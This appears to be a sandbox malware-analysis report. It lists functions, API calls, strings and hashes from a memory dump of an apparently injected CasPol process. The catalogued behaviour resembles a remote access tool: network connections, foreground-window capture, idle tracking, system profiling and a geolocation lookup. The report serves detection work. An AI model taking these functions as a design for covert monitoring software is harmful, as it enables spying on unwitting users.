                                                                                                                                                                                                  • Opcode ID: 9258c9cb72664625fd59994fadaa45554d81da2cd969a08f99f121fbef191fed
                                                                                                                                                                                                  • Instruction ID: 2a79d88b44a8fc0b04dcb000ea34af81e4c48788ca5147296d011aa32960a087
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9258c9cb72664625fd59994fadaa45554d81da2cd969a08f99f121fbef191fed
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B6516E716043015ACB15BB72C866ABE77AA9F80349F00483FF646B71E2DF7C9D09865E
                                                                                                                                                                                                  Function 004048C8 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 144networkCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 1412 4048c8-4048e8 connect 1413 404a1b-404a1f 1412->1413 1414 4048ee-4048f1 1412->1414 1417 404a21-404a2f WSAGetLastError 1413->1417 1418 404a97 1413->1418 1415 404a17-404a19 1414->1415 1416 4048f7-4048fa 1414->1416 1419 404a99-404a9e 1415->1419 1420 404926-404930 call 420cf1 1416->1420 1421 4048fc-404923 call 40531e call 402093 call 41b580 1416->1421 1417->1418 1422 404a31-404a34 1417->1422 1418->1419 1434 404941-40494e call 420f20 1420->1434 1435 404932-40493c 1420->1435 1421->1420 1424 404a71-404a76 1422->1424 1425 404a36-404a6f call 41cb72 call 4052fd call 402093 call 41b580 call 401fd8 1422->1425 1427 404a7b-404a94 call 402093 * 2 call 41b580 1424->1427 1425->1418 1427->1418 1444 404950-404973 call 402093 * 2 call 41b580 1434->1444 1445 404987-404992 call 421ad1 1434->1445 1435->1427 1474 404976-404982 call 420d31 1444->1474 1458 4049c4-4049d1 call 420e97 1445->1458 1459 404994-4049c2 call 402093 * 2 call 41b580 call 421143 1445->1459 1471 4049d3-4049f6 call 402093 * 2 call 41b580 1458->1471 1472 4049f9-404a14 CreateEventW * 2 1458->1472 1459->1474 1471->1472 1472->1415 1474->1418
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • connect.WS2_32(FFFFFFFF,00D24948,00000010), ref: 004048E0
                                                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
                                                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
                                                                                                                                                                                                  • WSAGetLastError.WS2_32 ref: 00404A21
                                                                                                                                                                                                    • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CreateEvent$ErrorLastLocalTimeconnect
                                                                                                                                                                                                  • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                                                                                                                                                                                                  • API String ID: 994465650-2151626615
                                                                                                                                                                                                  • Opcode ID: 507d8ddb4e0f07532624f43fba1924bb8abce2203424051899bac020e2559bbe
                                                                                                                                                                                                  • Instruction ID: 8b7d3ad86a52f8452b0ebae4faff6649d271d562dba2871a89d137605d3bb54b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 507d8ddb4e0f07532624f43fba1924bb8abce2203424051899bac020e2559bbe
                                                                                                                                                                                                  • Instruction Fuzzy Hash: CE41E8B57506017BC61877BB890B52E7A56AB81308B50017FEA0256AD3FA7D9C108BEF
                                                                                                                                                                                                  Function 00404E26 Relevance: 18.1, APIs: 12, Instructions: 65synchronizationCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                                                                                                                                                                                                  • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00404E4C
                                                                                                                                                                                                  • closesocket.WS2_32(000000FF), ref: 00404E5A
                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E91
                                                                                                                                                                                                  • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00404EA2
                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404EA9
                                                                                                                                                                                                  • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404EBA
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00404EBF
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00404EC4
                                                                                                                                                                                                  • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404ED1
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00404ED6
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3658366068-0
                                                                                                                                                                                                  • Opcode ID: 6e2d3047bbcd54dd6fb538b66de187a0499e62ad67d4cfb628094cbec65cae59
                                                                                                                                                                                                  • Instruction ID: 681aebbacbf541c1c6cd6dfca6fba55586e42b113d9ea1c0d4e3a90daa9851ad
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6e2d3047bbcd54dd6fb538b66de187a0499e62ad67d4cfb628094cbec65cae59
                                                                                                                                                                                                  • Instruction Fuzzy Hash: DE21EA71154B04AFDB216B26DC49B1BBBA1FF40326F104A2DE2E211AF1CB79B851DB58
                                                                                                                                                                                                  Function 0040AD11 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • __Init_thread_footer.LIBCMT ref: 0040AD73
                                                                                                                                                                                                  • Sleep.KERNEL32(000001F4), ref: 0040AD7E
                                                                                                                                                                                                  • GetForegroundWindow.USER32 ref: 0040AD84
                                                                                                                                                                                                  • GetWindowTextLengthW.USER32(00000000), ref: 0040AD8D
                                                                                                                                                                                                  • GetWindowTextW.USER32(00000000,00000000,00000000,00000001,00000000), ref: 0040ADC1
                                                                                                                                                                                                  • Sleep.KERNEL32(000003E8), ref: 0040AE8F
                                                                                                                                                                                                    • Part of subcall function 0040A671: SetEvent.KERNEL32(?,?,?,0040B86A,?,?,?,?,?,00000000), ref: 0040A69D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                                                                                                                                                                                                  • String ID: [${ User has been idle for $ minutes }$]
                                                                                                                                                                                                  • API String ID: 911427763-3954389425
                                                                                                                                                                                                  • Opcode ID: 67b6da18cae3e8576f7385e0c2c8ebcc1754692b360f15e2fa026ce444ac7b22
                                                                                                                                                                                                  • Instruction ID: 479ab846abdc3ffa357cf8cfb056c4a9d7a1c57035fbb5610920680a3dc8d5cf
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 67b6da18cae3e8576f7385e0c2c8ebcc1754692b360f15e2fa026ce444ac7b22
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1251E2716043419BD714FB22D856AAE7795AF84308F10093FF986A22E2EF7C9D44C69F
                                                                                                                                                                                                  Function 0040DA6F Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 1584 40da6f-40da94 call 401f86 1587 40da9a 1584->1587 1588 40dbbe-40dc56 call 401f04 GetLongPathNameW call 40417e * 2 call 40de0c call 402fa5 * 2 call 401f09 * 5 1584->1588 1589 40dae0-40dae7 call 41c048 1587->1589 1590 40daa1-40daa6 1587->1590 1591 40db93-40db98 1587->1591 1592 40dad6-40dadb 1587->1592 1593 40dba9 1587->1593 1594 40db9a-40dba7 call 43c11f 1587->1594 1595 40daab-40dab9 call 41b645 call 401f13 1587->1595 1596 40dacc-40dad1 1587->1596 1597 40db8c-40db91 1587->1597 1613 40dae9-40db39 call 40417e call 43c11f call 40417e call 402fa5 call 401f13 call 401f09 * 2 1589->1613 1614 40db3b-40db87 call 40417e call 43c11f call 40417e call 402fa5 call 401f13 call 401f09 * 2 1589->1614 1600 40dbae-40dbb3 call 43c11f 1590->1600 1591->1600 1592->1600 1593->1600 1594->1593 1609 40dbb4-40dbb9 call 409092 1594->1609 1616 40dabe 1595->1616 1596->1600 1597->1600 1600->1609 1609->1588 1622 40dac2-40dac7 call 401f09 1613->1622 1614->1616 1616->1622 1622->1588
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLongPathNameW.KERNEL32(00000000,?,00000208,00000000,?,00000030), ref: 0040DBD5
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: LongNamePath
                                                                                                                                                                                                  • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                                                                                                                                                                                                  • API String ID: 82841172-425784914
                                                                                                                                                                                                  • Opcode ID: e449d481ed2360d16fb1fd9d50703ad25ac73fcf6fdc62031a2b222bc8cf01a2
                                                                                                                                                                                                  • Instruction ID: db29472287e64cad03ac4489520097095d7cef5d056ecb8d0020da3553efca3c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e449d481ed2360d16fb1fd9d50703ad25ac73fcf6fdc62031a2b222bc8cf01a2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0A4151715082019AC205F765DC96CAAB7B8AE90758F10053FB146B20E2FFBCAE4DC65B
                                                                                                                                                                                                  Function 0044ACC9 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 1683 44acc9-44ace2 1684 44ace4-44acf4 call 4467e6 1683->1684 1685 44acf8-44acfd 1683->1685 1684->1685 1695 44acf6 1684->1695 1687 44acff-44ad07 1685->1687 1688 44ad0a-44ad2e MultiByteToWideChar 1685->1688 1687->1688 1689 44ad34-44ad40 1688->1689 1690 44aec1-44aed4 call 43502b 1688->1690 1692 44ad94 1689->1692 1693 44ad42-44ad53 1689->1693 1699 44ad96-44ad98 1692->1699 1696 44ad55-44ad64 call 457210 1693->1696 1697 44ad72-44ad83 call 4461b8 1693->1697 1695->1685 1702 44aeb6 1696->1702 1710 44ad6a-44ad70 1696->1710 1697->1702 1711 44ad89 1697->1711 1699->1702 1703 44ad9e-44adb1 MultiByteToWideChar 1699->1703 1704 44aeb8-44aebf call 435ecd 1702->1704 1703->1702 1707 44adb7-44adc9 call 448c33 1703->1707 1704->1690 1712 44adce-44add2 1707->1712 1714 44ad8f-44ad92 1710->1714 1711->1714 1712->1702 1715 44add8-44addf 1712->1715 1714->1699 1716 44ade1-44ade6 1715->1716 1717 44ae19-44ae25 1715->1717 1716->1704 1718 44adec-44adee 1716->1718 1719 44ae27-44ae38 1717->1719 1720 44ae71 1717->1720 1718->1702 1721 44adf4-44ae0e call 448c33 1718->1721 1723 44ae53-44ae64 call 4461b8 1719->1723 1724 44ae3a-44ae49 call 457210 1719->1724 1722 44ae73-44ae75 1720->1722 1721->1704 1736 44ae14 1721->1736 1727 44ae77-44ae90 call 448c33 1722->1727 1728 44aeaf-44aeb5 call 435ecd 1722->1728 1723->1728 1735 44ae66 1723->1735 1724->1728 1739 44ae4b-44ae51 1724->1739 1727->1728 1741 44ae92-44ae99 1727->1741 1728->1702 1740 44ae6c-44ae6f 1735->1740 1736->1702 1739->1740 1740->1722 1742 44aed5-44aedb 1741->1742 1743 44ae9b-44ae9c 1741->1743 1744 44ae9d-44aead WideCharToMultiByte 1742->1744 1743->1744 1744->1728 1745 44aedd-44aee4 call 435ecd 1744->1745 1745->1704
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,0042DD92,?,?,?,0044AF1A,00000001,00000001,?), ref: 0044AD23
                                                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 0044AD5B
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,0042DD92,?,?,?,0044AF1A,00000001,00000001,?), ref: 0044ADA9
                                                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 0044AE40
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AEA3
                                                                                                                                                                                                  • __freea.LIBCMT ref: 0044AEB0
                                                                                                                                                                                                    • Part of subcall function 004461B8: RtlAllocateHeap.NTDLL(00000000,00435329,?,?,004388C7,?,?,00000000,?,?,0040DE9D,00435329,?,?,?,?), ref: 004461EA
                                                                                                                                                                                                  • __freea.LIBCMT ref: 0044AEB9
                                                                                                                                                                                                  • __freea.LIBCMT ref: 0044AEDE
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3864826663-0
                                                                                                                                                                                                  • Opcode ID: 276b4224ba7534166915209a775ab474993eb6b0505c2e4c67818911aa509b1e
                                                                                                                                                                                                  • Instruction ID: de232b2c18f644b0009b05ef7aad101f1c584e700cc6948cb3d999d9ae9be8cc
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 276b4224ba7534166915209a775ab474993eb6b0505c2e4c67818911aa509b1e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 41514C72A80206AFFB258F64CC41EBF77A9DB44750F25462EFC14D7240EB38DC60869A
                                                                                                                                                                                                  Function 0041B411 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B438
                                                                                                                                                                                                  • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B44E
                                                                                                                                                                                                  • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B467
                                                                                                                                                                                                  • InternetCloseHandle.WININET(00000000), ref: 0041B4AD
                                                                                                                                                                                                  • InternetCloseHandle.WININET(00000000), ref: 0041B4B0
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • http://geoplugin.net/json.gp, xrefs: 0041B448
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Internet$CloseHandleOpen$FileRead
                                                                                                                                                                                                  • String ID: http://geoplugin.net/json.gp
                                                                                                                                                                                                  • API String ID: 3121278467-91888290
                                                                                                                                                                                                  • Opcode ID: 70a4068dcfb2335a76a71926155551062e92c520b8980e27f9727ee13041a59e
                                                                                                                                                                                                  • Instruction ID: e320c318363c88f1c040182635621d8729538b68a2f0080144892bf513bd3cc2
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 70a4068dcfb2335a76a71926155551062e92c520b8980e27f9727ee13041a59e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 011198311053126BD224AB269C49EBF7F9CEF86765F10043EF945A2282DB689C44C6FA
                                                                                                                                                                                                  Function 0041C482 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C4C1
                                                                                                                                                                                                  • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0041C4DE
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041C4EA
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C4FB
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041C508
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$CloseHandle$CreatePointerWrite
                                                                                                                                                                                                  • String ID: xpF
                                                                                                                                                                                                  • API String ID: 1852769593-354647465
                                                                                                                                                                                                  • Opcode ID: 03b5af7f289a82a83928ea742180afc1da621273c2f808e1c0dcbcf6c59c1bfa
                                                                                                                                                                                                  • Instruction ID: 0233a984b642d2e84dd4fc2cab076f06cd7f632185dc4648213adf39284592b7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 03b5af7f289a82a83928ea742180afc1da621273c2f808e1c0dcbcf6c59c1bfa
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6311E571288215BFE7104A24ACC8EBB739CEB46365F10862BF912D22D0C624DC418639
                                                                                                                                                                                                  Function 0041B354 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0041C048: GetCurrentProcess.KERNEL32(?,?,?,0040DAE5,WinDir,00000000,00000000), ref: 0041C059
                                                                                                                                                                                                    • Part of subcall function 0041C048: IsWow64Process.KERNEL32(00000000,?,?,0040DAE5,WinDir,00000000,00000000), ref: 0041C060
                                                                                                                                                                                                    • Part of subcall function 004135E1: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 00413605
                                                                                                                                                                                                    • Part of subcall function 004135E1: RegQueryValueExA.KERNEL32 ref: 00413622
                                                                                                                                                                                                    • Part of subcall function 004135E1: RegCloseKey.KERNEL32(?), ref: 0041362D
                                                                                                                                                                                                  • StrToIntA.SHLWAPI(00000000), ref: 0041B3CD
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Process$CloseCurrentOpenQueryValueWow64
                                                                                                                                                                                                  • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                                                                                                                                                                  • API String ID: 782494840-2070987746
                                                                                                                                                                                                  • Opcode ID: a9c02e874ac761b1a54f69f9c7c0e468dff2f28919116cd580da9d812710a803
                                                                                                                                                                                                  • Instruction ID: f33cb4008a08c387480eb48f471200dcc92f04aa72c22424ac0a9b44a4c1d04d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a9c02e874ac761b1a54f69f9c7c0e468dff2f28919116cd580da9d812710a803
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8811C47064014926C704B7658C97EFE76198790344F94413BF806A61D3FB6C598683EE
                                                                                                                                                                                                  Function 10008821 Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,10006FFD,00000000,?,?,?,10008A72,?,?,00000100), ref: 1000887B
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,10008A72,?,?,00000100,5EFC4D8B,?,?), ref: 10008901
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,5EFC4D8B,00000100,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 100089FB
                                                                                                                                                                                                  • __freea.LIBCMT ref: 10008A08
                                                                                                                                                                                                    • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                                                                                                                                                                                                  • __freea.LIBCMT ref: 10008A11
                                                                                                                                                                                                  • __freea.LIBCMT ref: 10008A36
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1414292761-0
                                                                                                                                                                                                  • Opcode ID: bbd44e65680a142b819532ff26adde273e0ccd3bd0c95f1520c1a5c0857fc469
                                                                                                                                                                                                  • Instruction ID: 3f57ce737592ef9202bcebfaa3f65c0582e3f3231b4dd00ae19a895c9b397c34
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bbd44e65680a142b819532ff26adde273e0ccd3bd0c95f1520c1a5c0857fc469
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4F51CF72710216ABFB15CF60CC85EAB37A9FB417D0F11462AFC44D6148EB35EE509BA1
                                                                                                                                                                                                  Function 1000C7E6 Relevance: 9.1, APIs: 6, Instructions: 65libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(1000C7DD), ref: 1000C7E6
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000C860
                                                                                                                                                                                                    • Part of subcall function 1000C803: GetProcAddress.KERNEL32(00000000,1000C7F4,1000C7DD), ref: 1000C804
                                                                                                                                                                                                    • Part of subcall function 1000C803: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                                                                                                                                                                                                    • Part of subcall function 1000C803: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressHandleModuleProcProtectVirtual
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2099061454-0
                                                                                                                                                                                                  • Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                                                                                                                                                                                                  • Instruction ID: 210348daefc771ff09e919cc38fdfa0d839c8297c2798a32150270056baeab90
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0301D22094574A38BA51D7B40C06EBA5FD8DB176E0B24D756F1408619BDDA08906C3AE
                                                                                                                                                                                                  Function 0040A6B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6E6
                                                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A788), ref: 0040A6F5
                                                                                                                                                                                                  • Sleep.KERNEL32(00002710,?,?,?,0040A788), ref: 0040A722
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040A729
                                                                                                                                                                                                  Strings
